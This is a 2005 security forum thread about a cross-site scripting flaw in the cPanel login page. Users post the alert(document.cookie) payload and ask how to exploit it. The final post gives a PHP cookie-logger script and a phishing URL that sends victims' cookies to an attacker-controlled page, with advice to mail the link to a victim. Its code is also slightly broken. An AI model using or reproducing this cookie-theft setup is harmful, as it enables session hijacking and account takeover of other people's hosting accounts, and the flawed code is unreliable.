Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 791
Members: 0
Total: 791
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A Vulnerable in cpanel
Post new topic  Reply to topic View previous topic :: View next topic 
A Vulnerable in cpanel
PostPosted: Wed Jun 22, 2005 1:06 am Reply with quote
Dendy
Regular user
Regular user
 
Joined: Jun 20, 2005
Posts: 9




there is a Vulnerable:

cPanel cPanel 10.2
cPanel cPanel 9.1
cPanel cPanel 9.0
cPanel cPanel 8.0
cPanel cPanel 7.0
cPanel cPanel 6.4.2 .STABLE_48
cPanel cPanel 6.4.2
cPanel cPanel 6.4.1
cPanel cPanel 6.4
cPanel cPanel 6.2
cPanel cPanel 6.0
cPanel cPanel 5.3
cPanel cPanel 5.0

Code:
login?user=**<script>javascript:alert(document.cookie);</script>


to use it ex.: http://www.xxxx.com:2082/login?user=**<script>javascript:alert(document.cookie);</script>

but as u can see it gives us : ( Nested quantifiers before HERE mark in regex m/^** << HERE :/ at cpsrvd.pl line 1720, line 1. )

but in the cPanel 10.2 it gives an error in different line nos

how can i modify it to use it

any help........ Surprised


Last edited by Dendy on Wed Jun 22, 2005 1:19 pm; edited 2 times in total
View user's profile Send private message Visit poster's website Yahoo Messenger MSN Messenger ICQ Number
PostPosted: Wed Jun 22, 2005 11:02 am Reply with quote
KingOfSka
Advanced user
Advanced user
 
Joined: Mar 13, 2005
Posts: 61




1st : don't post link to real site Very Happy
2nd: this is not an sql injection but an XSS
3rd: if this exploit is for cpanel <= 1.8 , that site is using cpanel 10 so it wouldn't work Very Happy
View user's profile Send private message Visit poster's website
PostPosted: Wed Jun 22, 2005 1:27 pm Reply with quote
Dendy
Regular user
Regular user
 
Joined: Jun 20, 2005
Posts: 9




sorry for putting links and thnx u dude but i put it not coz it in the site but to learn how to use it .
View user's profile Send private message Visit poster's website Yahoo Messenger MSN Messenger ICQ Number
PostPosted: Wed Jul 13, 2005 5:03 am Reply with quote
theOne
Regular user
Regular user
 
Joined: May 31, 2005
Posts: 8




Um i get a popup with the username_mysql cookie info, how can i use this tho? or how can I copy this so I can use it with httpd and send the info thus making cpanel think i'm the username?
View user's profile Send private message
Cpan vul
PostPosted: Thu Jul 14, 2005 12:30 pm Reply with quote
neo_hack
Regular user
Regular user
 
Joined: Jul 04, 2005
Posts: 6




Any idea how to rewrite it and make it work ?
View user's profile Send private message
a solve
PostPosted: Tue Aug 30, 2005 3:20 am Reply with quote
kingasawa
Beginner
Beginner
 
Joined: May 20, 2004
Posts: 1




i know a way for exploiting that bug ...

1/creat a file kingasawa.php with source code :

Code:
<?php

define ("LINE", "\r\n");

define ("HTML_LINE", "<br>");

function getvars($arr, $title)

{

$res = "";

$len = count($arr);

if ($len>0)

{

if (strlen($title)>0)

{

print("[--------$title--------]" . HTML_LINE);

$res .= "[--------$title--------]" . LINE;

}

foreach ($arr as $key => $value)

{

print("[$key]" . HTML_LINE);

print($arr[$key] . HTML_LINE);

$res .= "[$ key]" . LINE . $arr[$key] . LINE;

}

}

return $res;

}

$now = date("Y-m-d H : i : s ");

$myData = "[-----$now-----]" . LINE;

$myData .= getvars($HTTP_GET_VARS, "");

// ten file ma cookie se luu vao
$file = "cookie.txt";

$mode = "r+";

if (!file_exists($file))

$mode = "w+";

$fp = fopen ($file, $mode);

fseek($fp, 0, SEEK_END);

fwrite($fp, $myData);

fclose($fp);

?>


after that , u can fake email for sending to ur victim with content

Code:
http://www.victim.com:2082/login?user=**<script>document.write(http://your-website/cookie.php?docs='+escape(document.cookie)+')</script>

and u creat a file cookie.txt for saving that cookie ...

----------
i haven't checked it .... correct me if wrong :P

_________________
Kingasawa Asakura
VietNam Magic Team
http://vnmagic.net
View user's profile Send private message Visit poster's website Yahoo Messenger
A Vulnerable in cpanel
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.151 Seconds